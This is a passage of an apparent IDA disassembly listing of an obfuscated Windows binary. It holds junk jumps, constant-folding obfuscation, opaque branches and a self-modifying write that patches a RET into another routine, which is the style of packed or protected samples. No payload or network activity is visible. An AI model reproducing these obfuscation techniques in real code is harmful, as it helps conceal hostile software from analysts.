loc_10015E53: ; CODE XREF: an.kk9rg:loc_1001DD6Cj push offset sub_10013061 jmp loc_100169CD ; END OF FUNCTION CHUNK FOR sub_1001A54C ; --------------------------------------------------------------------------- loc_10015E5D: ; CODE XREF: an.kk9rg:1001A10Ej jnz loc_10013639 jmp loc_10014C21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C2D8 loc_10015E68: ; CODE XREF: sub_1001C2D8-8052j jge loc_100158C6 loc_10015E6E: ; CODE XREF: sub_1001C2D8:loc_100185BEj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_1001ABF5 jmp loc_1001BACE ; END OF FUNCTION CHUNK FOR sub_1001C2D8 ; --------------------------------------------------------------------------- cmp ecx, 95E3E93Eh jmp loc_10017B64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CC4A loc_10015E8A: ; CODE XREF: sub_1001CC4A:loc_1001D457j cmp dword ptr [eax-1Ch], 0F6h setz al call sub_100182D9 push offset sub_100164ED jmp sub_1001D089 ; END OF FUNCTION CHUNK FOR sub_1001CC4A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001DC70 loc_10015EA3: ; CODE XREF: sub_1001DC70:loc_100145E3j push offset loc_1001A094 jmp loc_1001AB24 ; END OF FUNCTION CHUNK FOR sub_1001DC70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C799 loc_10015EAD: ; CODE XREF: sub_1001C799:loc_100185E0j mov eax, 0C42EC41Eh push edi push 0D9541F93h pop edi jmp loc_1001389A ; END OF FUNCTION CHUNK FOR sub_1001C799 ; =============== S U B R O U T I N E ======================================= sub_10015EBE proc near ; DATA XREF: an.kk9rg:1001C349o ; FUNCTION CHUNK AT 10014648 SIZE 00000006 BYTES push ecx push 0C0F31878h pop ecx and ecx, 93E8A09h jmp loc_10014648 sub_10015EBE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_10015ED0: ; CODE XREF: sub_10019409:loc_100186D5j sub ecx, eax xor eax, eax mov al, [ebp-9] shl eax, cl mov cl, [ebp-0Bh] xor edx, edx mov dl, [ebp-9] shr edx, cl jmp loc_10016EB1 ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_10015EE8: ; CODE XREF: sub_10018066+18B2j jle loc_10016A61 loc_10015EEE: ; CODE XREF: sub_10018066:loc_1001D3A6j mov eax, [esp+0] loc_10015EF1: ; CODE XREF: an.kk9rg:loc_10016673j push ecx mov ecx, eax xchg ecx, [esp+4+var_4] loc_10015EF7: ; CODE XREF: an.kk9rg:loc_1001DDCFj jmp loc_10018452 ; END OF FUNCTION CHUNK FOR sub_10018066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017667 loc_10015EFC: ; CODE XREF: sub_10017667+3BE0j add edi, 2B0BFF40h push ecx jmp loc_100158DB ; END OF FUNCTION CHUNK FOR sub_10017667 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D04 loc_10015F08: ; CODE XREF: sub_10016D04+4849j jl loc_100135DD ror esi, 0Eh jmp loc_10013AAD ; END OF FUNCTION CHUNK FOR sub_10016D04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016167 loc_10015F16: ; CODE XREF: sub_10018AB1:loc_100138E7j ; sub_10016167+A45j ... push offset loc_100169F5 jmp nullsub_93 ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C9F8 loc_10015F20: ; CODE XREF: sub_1001C9F8:loc_1001D055j xor edi, 9B3DF7B3h cmp edi, 0C0827FDFh jmp loc_100135CE ; END OF FUNCTION CHUNK FOR sub_1001C9F8 ; =============== S U B R O U T I N E ======================================= sub_10015F31 proc near ; DATA XREF: an.kk9rg:1001A806o ; FUNCTION CHUNK AT 10016120 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 100165DE SIZE 00000006 BYTES push edx push 9AD33680h pop edx or edx, 0E69A3AE9h sub edx, 32453C2Dh test edx, 1 jmp loc_10016120 sub_10015F31 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014C0D loc_10015F4F: ; CODE XREF: sub_10014C0D:loc_10016AE0j mov edi, ecx xchg edi, [esp+4+var_4] push offset loc_10018445 jmp loc_1001BABA ; END OF FUNCTION CHUNK FOR sub_10014C0D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_134. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017A58 loc_10015F5F: ; CODE XREF: sub_10017A58:loc_100192CBj rol edi, 0Ah jmp loc_1001A488 ; END OF FUNCTION CHUNK FOR sub_10017A58 ; --------------------------------------------------------------------------- mov edi, 167DF923h jmp loc_1001AAEB ; --------------------------------------------------------------------------- shl edi, 2 test edi, 9A9EFD21h jmp loc_10018987 ; --------------------------------------------------------------------------- loc_10015F7F: ; CODE XREF: an.kk9rg:10019E6Bj add eax, ebp add eax, 4C12D4EFh mov eax, [eax] push eax call sub_1001B913 jmp loc_10014D91 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B5A3 loc_10015F94: ; CODE XREF: sub_1001B5A3:loc_10018AF6j jge loc_10015FCB sub ecx, 5CF83FEDh loc_10015FA0: ; CODE XREF: sub_100151FD:loc_1001D70Ej mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jmp loc_1001C491 ; END OF FUNCTION CHUNK FOR sub_1001B5A3 ; --------------------------------------------------------------------------- rol ebx, 17h popf jmp sub_100184A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CD85 loc_10015FB4: ; CODE XREF: sub_1001CD85:loc_100174B5j ; an.kk9rg:100174C7j add ebx, 73A9384Eh mov [ebx], eax pop ebx push offset sub_1001CFB1 jmp nullsub_157 ; END OF FUNCTION CHUNK FOR sub_1001CD85 ; =============== S U B R O U T I N E ======================================= sub_10015FC7 proc near ; CODE XREF: sub_10015402+29F7p ; an.kk9rg:10019D2Fj xchg edi, [esp+0] pop edi sub_10015FC7 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_1001B5A3 loc_10015FCB: ; CODE XREF: sub_1001B5A3:loc_10015F94j xchg edx, [esp-8+arg_4] loc_10015FCE: ; CODE XREF: an.kk9rg:loc_100186EDj ror eax, 4 loc_10015FD1: ; CODE XREF: sub_1001ABFD:loc_10018EF8j mov ds:dword_10018190, eax retn ; END OF FUNCTION CHUNK FOR sub_1001B5A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001725E loc_10015FD8: ; CODE XREF: sub_1001725E+B1Dj jmp loc_10017EF3 ; END OF FUNCTION CHUNK FOR sub_1001725E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015D9E loc_10015FDD: ; CODE XREF: sub_10015D9E:loc_1001AC2Bj rol eax, 4 push eax jmp sub_10018A13 ; END OF FUNCTION CHUNK FOR sub_10015D9E ; --------------------------------------------------------------------------- push ecx push 11EE2C9Bh pop ecx sub ecx, 809E510Bh test ecx, 20000h jmp loc_10017FB2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100132E5 loc_10015FFE: ; CODE XREF: sub_100132E5:loc_1001DA82j push offset loc_100160D3 ; END OF FUNCTION CHUNK FOR sub_100132E5 ; START OF FUNCTION CHUNK FOR sub_10016734 loc_10016003: ; CODE XREF: sub_10016734:loc_1001B844j jmp loc_10013090 ; END OF FUNCTION CHUNK FOR sub_10016734 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_15. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_70. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100138FD loc_1001600A: ; CODE XREF: sub_100138FD+97C3j jmp loc_1001AB9F ; END OF FUNCTION CHUNK FOR sub_100138FD ; --------------------------------------------------------------------------- loc_1001600F: ; CODE XREF: an.kk9rg:10019E09j ; an.kk9rg:1001A09Ej jz loc_100143B9 jmp loc_10013AFE ; --------------------------------------------------------------------------- loc_1001601A: ; DATA XREF: sub_1001555F+9o pop ecx mov [ebp-20h], eax ; START OF FUNCTION CHUNK FOR sub_10018C76 loc_1001601E: ; CODE XREF: sub_10015995-C3Dj ; sub_10018C76-3BC4j ... js loc_10016403 test byte ptr [ebp-8], 40h jz loc_10018FCE push ebp mov eax, [ebp-20h] call sub_10014CCE jmp loc_100145E8 ; END OF FUNCTION CHUNK FOR sub_10018C76 ; =============== S U B R O U T I N E ======================================= sub_1001603C proc near ; DATA XREF: sub_1001701B+68D8o ; FUNCTION CHUNK AT 100151D8 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 100159B6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001887C SIZE 0000001E BYTES mov eax, [esp+0] push edx call sub_1001AAE3 push 443F5E77h pop eax jmp loc_1001887C sub_1001603C endp ; --------------------------------------------------------------------------- ror ebp, 0Eh jmp sub_1001CBA8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B2CC loc_10016058: ; CODE XREF: sub_1001B2CC:loc_1001CA22j add esi, 0A72DD31Bh xchg esi, [esp+0] jmp sub_10018330 ; END OF FUNCTION CHUNK FOR sub_1001B2CC ; --------------------------------------------------------------------------- mov eax, 48EA2DE1h call sub_10018A31 ; START OF FUNCTION CHUNK FOR sub_10016167 loc_10016070: ; CODE XREF: sub_10016167+2503j jmp loc_1001567F ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- loc_10016075: ; CODE XREF: sub_100141B5+7j jmp sub_1001725E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015D9E loc_1001607A: ; CODE XREF: sub_10015D9E:loc_10017C29j push ecx mov esp, ebp pop ebp push 0D6C50B85h pop eax xor eax, 838FEC40h and eax, 692358D5h jmp loc_1001B1F0 ; END OF FUNCTION CHUNK FOR sub_10015D9E ; --------------------------------------------------------------------------- test esi, ebx jmp loc_1001DC0A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017A58 loc_1001609C: ; CODE XREF: sub_10017A58:loc_1001CCE8j mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_1001C9C1 jmp loc_1001AD55 ; END OF FUNCTION CHUNK FOR sub_10017A58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017BF9 loc_100160AE: ; CODE XREF: sub_10017BF9-2E6Dj cmp ebp, edi jmp loc_10019A60 ; END OF FUNCTION CHUNK FOR sub_10017BF9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014F93 loc_100160B5: ; CODE XREF: sub_10014F93:loc_10019A13j jz loc_1001DDA8 ; END OF FUNCTION CHUNK FOR sub_10014F93 ; START OF FUNCTION CHUNK FOR sub_10014189 loc_100160BB: ; CODE XREF: sub_10014189+74B9j jmp loc_10017F93 ; END OF FUNCTION CHUNK FOR sub_10014189 ; --------------------------------------------------------------------------- mov [edi], ebx add edi, 0CF323FEAh js loc_10019438 jmp loc_1001DDA8 ; --------------------------------------------------------------------------- loc_100160D3: ; DATA XREF: sub_100132E5:loc_10015FFEo mov al, [eax] jnz loc_10015739 sub al, 99h mov edx, [ebp-4] push offset loc_10017133 jmp loc_10019E90 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015469 loc_100160EA: ; CODE XREF: sub_10015469+Cj jnz loc_100158F0 call sub_100180C2 mov edx, 0B9726E5Ah call sub_1001534D push eax jmp loc_10014C08 ; END OF FUNCTION CHUNK FOR sub_10015469 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018E79 loc_10016105: ; CODE XREF: sub_10018E79+2705j jp loc_1001A1B6 loc_1001610B: ; CODE XREF: sub_10018E79:loc_1001C0F8j ; sub_10017394:loc_1001CF76j call sub_100152C7 ; END OF FUNCTION CHUNK FOR sub_10018E79 ; START OF FUNCTION CHUNK FOR sub_10014A06 loc_10016110: ; CODE XREF: sub_10014A06+Aj jmp loc_1001462E ; END OF FUNCTION CHUNK FOR sub_10014A06 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017A58 loc_10016115: ; CODE XREF: sub_10017A58+50C8j adc ebx, 0E1A0CA36h jmp loc_1001C9B6 ; END OF FUNCTION CHUNK FOR sub_10017A58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015F31 loc_10016120: ; CODE XREF: sub_10015F31+19j ; an.kk9rg:loc_100192EBj jz loc_100165E4 push ebx jnb loc_100177DA jmp loc_100165DE ; END OF FUNCTION CHUNK FOR sub_10015F31 ; --------------------------------------------------------------------------- loc_10016132: ; CODE XREF: an.kk9rg:1001C426j xchg ebx, [esp] mov [ebp-4], eax mov eax, [ebp-4] mov al, [eax] call sub_1001893F loc_10016142: ; CODE XREF: an.kk9rg:10014D7Dj jmp loc_100137EC ; --------------------------------------------------------------------------- jns loc_1001BADE shr ecx, 0Fh jmp sub_1001D5AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001620D loc_10016155: ; CODE XREF: sub_1001620D:loc_10015B58j mov edx, [ebp-14h] mov edx, [edx+1Ch] add edx, [ebp-4] add eax, edx mov eax, [eax] jmp loc_100135B6 ; END OF FUNCTION CHUNK FOR sub_1001620D ; =============== S U B R O U T I N E ======================================= sub_10016167 proc near ; CODE XREF: sub_10018A13j ; DATA XREF: sub_10018352+6B7o ; FUNCTION CHUNK AT 10014580 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100146E3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10014A90 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 10015229 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001567F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10015D08 SIZE 0000002F BYTES ; FUNCTION CHUNK AT 10015F16 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10016070 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016521 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 100169FA SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10016BAA SIZE 00000007 BYTES ; FUNCTION CHUNK AT 10018664 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10018ADA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019D4C SIZE 00000017 BYTES ; FUNCTION CHUNK AT 10019DAC SIZE 0000000F BYTES ; FUNCTION CHUNK AT 10019DF8 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001A466 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 1001AA0A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001AD00 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001AD36 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 1001B801 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 1001C1FD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C260 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001C4E0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C8D9 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 1001C9E4 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 1001DEE9 SIZE 00000006 BYTES cmp al, 0A4h jz loc_1001AD36 jmp loc_100146E3 sub_10016167 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014F93 loc_10016174: ; CODE XREF: sub_10014F93:loc_10017EE8j xchg ebx, [esp+4+var_4] push 7ED1F500h pop edi sub edi, 0DE7ECEC3h test edi, 1000000h jmp loc_10019A13 ; END OF FUNCTION CHUNK FOR sub_10014F93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017394 loc_1001618E: ; CODE XREF: sub_10017394-2ECFj jnz loc_1001984C shl ebp, 1Fh loc_10016197: ; CODE XREF: sub_10017394:loc_1001A92Cj call sub_100180C2 push 82DDD94Dh pop edx jmp loc_1001CBCA ; END OF FUNCTION CHUNK FOR sub_10017394 ; --------------------------------------------------------------------------- loc_100161A7: ; DATA XREF: sub_100190EB+4244o mov eax, [ebp+8] mov eax, [eax-18h] and eax, 7 mov [ebp-0Ch], eax cmp dword ptr [ebp-10h], 0 ; START OF FUNCTION CHUNK FOR sub_1001A12F loc_100161B7: ; CODE XREF: sub_1001A12F:loc_10016E52j jnz loc_1001C7B0 cmp dword ptr [ebp-0Ch], 5 jnz loc_1001C7B0 jmp loc_1001C7A9 ; END OF FUNCTION CHUNK FOR sub_1001A12F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_100161CC: ; CODE XREF: sub_1001A97E+Cj jz loc_10017304 jmp loc_100187D8 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100130C7 loc_100161D7: ; CODE XREF: sub_100130C7+Ej ; sub_10015945+1Aj ... jnb loc_100184F4 mov eax, [ebp-0Ch] cmp byte ptr [eax], 0 jnz loc_1001774E mov eax, [ebp-8] shl eax, 3 jmp loc_10017C79 ; END OF FUNCTION CHUNK FOR sub_100130C7 ; --------------------------------------------------------------------------- loc_100161F4: ; CODE XREF: an.kk9rg:1001878Dj not eax jz loc_1001C50B jb loc_1001632D loc_10016202: ; CODE XREF: an.kk9rg:loc_10014A1Dj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jmp loc_10014AA4 ; =============== S U B R O U T I N E ======================================= sub_1001620D proc near ; CODE XREF: sub_10016D66-2D57p ; an.kk9rg:1001C157j arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 100135B6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015B58 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016155 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 10018519 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C0C6 SIZE 00000015 BYTES xchg ecx, [esp+0] pop ecx cdq add eax, [esp-4+arg_0] adc edx, [esp-4+arg_4] add esp, 8 movzx eax, word ptr [eax] shl eax, 2 jmp loc_10015B58 sub_1001620D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_10016227: ; CODE XREF: sub_1001564A:loc_10015645j jg loc_1001B6FB ja loc_10019CF4 jmp loc_1001D684 ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001AC73 loc_10016238: ; CODE XREF: sub_1001AC73-55BCj sub al, 99h push 3265515h pop edx jmp loc_10018141 ; END OF FUNCTION CHUNK FOR sub_1001AC73 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_20. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B010 loc_10016246: ; CODE XREF: sub_1001B010-6939j jmp nullsub_69 ; END OF FUNCTION CHUNK FOR sub_1001B010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001624B: ; CODE XREF: sub_10016D66:loc_10013FE9j jz loc_1001468E jmp loc_1001A123 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014189 loc_10016256: ; CODE XREF: sub_10014189+9j mov ebp, eax pop eax push 19F44FC4h pop eax jmp loc_1001CB8D ; END OF FUNCTION CHUNK FOR sub_10014189 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C185 loc_10016264: ; CODE XREF: sub_1001C185:loc_1001AE83j pop eax and eax, 0B2729D1Bh add eax, 0FFD84E72h sub eax, 4DC9A1F2h xor eax, 0A7D76135h push offset loc_10016F6B jmp nullsub_91 ; END OF FUNCTION CHUNK FOR sub_1001C185 ; --------------------------------------------------------------------------- js loc_100186B6 pushf jmp sub_10013044 ; --------------------------------------------------------------------------- locret_10016293: ; CODE XREF: an.kk9rg:loc_1001BCA5j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_10016294: ; CODE XREF: sub_100136D7+5180j jmp loc_1001D01D ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001498A loc_10016299: ; CODE XREF: sub_1001498A+15j jmp loc_100196DD ; END OF FUNCTION CHUNK FOR sub_1001498A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100185D4 loc_1001629E: ; CODE XREF: sub_100185D4+3j ror ebx, 1Ah adc edi, 4A7CCB36h sub ebp, 60A43881h ; END OF FUNCTION CHUNK FOR sub_100185D4 ; START OF FUNCTION CHUNK FOR sub_1001C185 loc_100162AD: ; CODE XREF: sub_1001C185:loc_100143D7j push 1343964Dh jmp loc_1001AE83 ; END OF FUNCTION CHUNK FOR sub_1001C185 ; =============== S U B R O U T I N E ======================================= sub_100162B7 proc near ; DATA XREF: an.kk9rg:100166FEo lea eax, sub_10017DC3 mov byte ptr [eax], 0C3h jmp sub_10017DC3 sub_100162B7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017DC3 loc_100162C5: ; CODE XREF: sub_10017DC3j push offset sub_1001A76E jmp sub_10017174 ; END OF FUNCTION CHUNK FOR sub_10017DC3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015086 loc_100162CF: ; CODE XREF: sub_10015086:loc_1001808Ej imul dword ptr [edx-4] add eax, 2 mov [ebp-0Ch], eax mov eax, [ebp-0Ch] jmp loc_100186CD ; END OF FUNCTION CHUNK FOR sub_10015086 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017D86 loc_100162E0: ; CODE XREF: sub_10017D86+1798j adc ebp, 839B1F67h jmp loc_1001493D ; END OF FUNCTION CHUNK FOR sub_10017D86 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001DE48 loc_100162EB: ; CODE XREF: sub_1001DE48+10j test byte ptr [eax-8], 10h jz loc_100152BF inc dword ptr [ebp-8] ; END OF FUNCTION CHUNK FOR sub_1001DE48 ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100162F8: ; CODE XREF: an.kk9rg:loc_10016487j ; sub_10013389+7961j mov eax, [ebp-8] pop ecx pop ecx call sub_100152B9 loc_10016302: ; CODE XREF: an.kk9rg:10014A31j xchg edi, [esi] loc_10016304: ; CODE XREF: an.kk9rg:100135FEj ; an.kk9rg:loc_10014A28j add ebx, 83846F41h mov [ebx], eax pop ebx retn ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001DECE loc_1001630E: ; CODE XREF: sub_1001DECE-C35j jmp nullsub_176 ; END OF FUNCTION CHUNK FOR sub_1001DECE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015BFC loc_10016313: ; CODE XREF: sub_10015B5D+28DDj ; sub_10015BFC+4D45j rol eax, 10h jmp loc_1001D039 ; END OF FUNCTION CHUNK FOR sub_10015BFC ; --------------------------------------------------------------------------- loc_1001631B: ; CODE XREF: an.kk9rg:10018735j jz loc_10017BA7 add edi, eax ; =============== S U B R O U T I N E ======================================= sub_10016323 proc near ; CODE XREF: sub_100190DC:loc_10014A4Ap ; an.kk9rg:1001AC52j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10013649 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 100169E4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001798C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019210 SIZE 00000006 BYTES xchg ebx, [esp+0] pop ebx mov eax, [esp-4+arg_0] push esi mov esi, edi loc_1001632D: ; CODE XREF: an.kk9rg:100161FCj xchg esi, [esp+0] jmp loc_1001798C sub_10016323 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov edx, 0CB804A30h push ecx push 7B62276h pop ecx rol ecx, 19h add ecx, 23F221B5h xchg ecx, [esp] jmp loc_10015626 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013688 loc_10016352: ; CODE XREF: sub_10013688:loc_1001CE13j call sub_10015633 ; END OF FUNCTION CHUNK FOR sub_10013688 ; START OF FUNCTION CHUNK FOR sub_10016D04 loc_10016357: ; CODE XREF: sub_10016D04+241Dj jz loc_100165C9 jmp loc_100181A5 ; END OF FUNCTION CHUNK FOR sub_10016D04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001701B loc_10016362: ; CODE XREF: sub_1001701B:loc_1001ADA9j js loc_10017B23 push offset sub_100151FD jmp nullsub_67 ; END OF FUNCTION CHUNK FOR sub_1001701B ; =============== S U B R O U T I N E ======================================= sub_10016372 proc near ; CODE XREF: an.kk9rg:10014EE1j ; sub_10016167+4BDAp xchg edx, [esp+0] pop edx pop ebp retn sub_10016372 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001679F loc_10016378: ; CODE XREF: sub_1001679F-F50j jmp loc_1001A167 ; END OF FUNCTION CHUNK FOR sub_1001679F ; --------------------------------------------------------------------------- jnz loc_10013211 jmp loc_10014DA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10016388: ; CODE XREF: sub_10013389+84E2j jnz loc_1001DC50 or eax, 623E4AD0h ja loc_1001D505 jmp loc_1001C772 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019F19 loc_1001639F: ; CODE XREF: sub_10019F19:loc_10017FA3j lea edx, [ebp-14h] mov eax, offset dword_10019624 call sub_10019030 lea eax, [ebp-14h] ; END OF FUNCTION CHUNK FOR sub_10019F19 ; START OF FUNCTION CHUNK FOR sub_100180C2 loc_100163AF: ; CODE XREF: sub_100180C2+126Cj push eax call sub_100142E8 jmp loc_100181F1 ; END OF FUNCTION CHUNK FOR sub_100180C2 ; =============== S U B R O U T I N E ======================================= sub_100163BA proc near ; CODE XREF: an.kk9rg:10015787j ; an.kk9rg:10019833p ; FUNCTION CHUNK AT 10014152 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 10014184 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi push 0D3EA4238h pop edx add edx, 5EEDFE10h jmp loc_10014184 sub_100163BA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014DD9 loc_100163CF: ; CODE XREF: sub_10014DD9:loc_100148E5j jl loc_1001B144 add edi, ebp and ebp, 0C6F0316Eh xor edx, ebp pushf loc_100163E0: ; CODE XREF: sub_1001CBA8:loc_10015722j cmp ebp, 11D71B1Fh jmp loc_1001B13E ; END OF FUNCTION CHUNK FOR sub_10014DD9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_100163EB: ; CODE XREF: sub_10016D66:loc_10016B7Cj call sub_10019FDC loc_100163F0: ; CODE XREF: sub_10019595-257Fj jmp loc_1001DE5E ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016A39 loc_100163F5: ; CODE XREF: sub_10016A39-2FA7j jmp loc_1001D783 ; END OF FUNCTION CHUNK FOR sub_10016A39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018C76 loc_100163FA: ; CODE XREF: sub_10018C76:loc_100145E8j pop ecx mov [ebp-20h], eax jmp loc_1001782B ; --------------------------------------------------------------------------- loc_10016403: ; CODE XREF: sub_10018C76:loc_1001601Ej test byte ptr [ebp-8], 40h jz loc_10018FCE push ebp mov eax, [ebp-20h] call sub_10014CCE jmp loc_10016D2F ; END OF FUNCTION CHUNK FOR sub_10018C76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001734F loc_1001641B: ; CODE XREF: sub_1001734F+Bj cmp ax, 20FFh jz loc_1001A630 xor eax, eax ; END OF FUNCTION CHUNK FOR sub_1001734F ; START OF FUNCTION CHUNK FOR sub_1001C6B0 loc_10016427: ; CODE XREF: sub_1001C6B0:loc_10013FE4j mov [ebp-5], al mov al, [ebp-5] call sub_1001C619 loc_10016432: ; CODE XREF: sub_10019030-1940j jmp loc_10019B26 ; END OF FUNCTION CHUNK FOR sub_1001C6B0 ; --------------------------------------------------------------------------- loc_10016437: ; CODE XREF: an.kk9rg:100140CBj jb loc_1001D83E loc_1001643D: ; CODE XREF: an.kk9rg:loc_1001CF6Bj push 6B21ED5Bh pop eax xor eax, 4C485BF0h rol eax, 6 jmp loc_10015AD9 ; =============== S U B R O U T I N E ======================================= sub_10016451 proc near ; DATA XREF: sub_100173FA+43B1o var_8 = dword ptr -8 ; FUNCTION CHUNK AT 10013176 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 10014B7B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015A3B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001694A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 10017FCA SIZE 0000000B BYTES ; 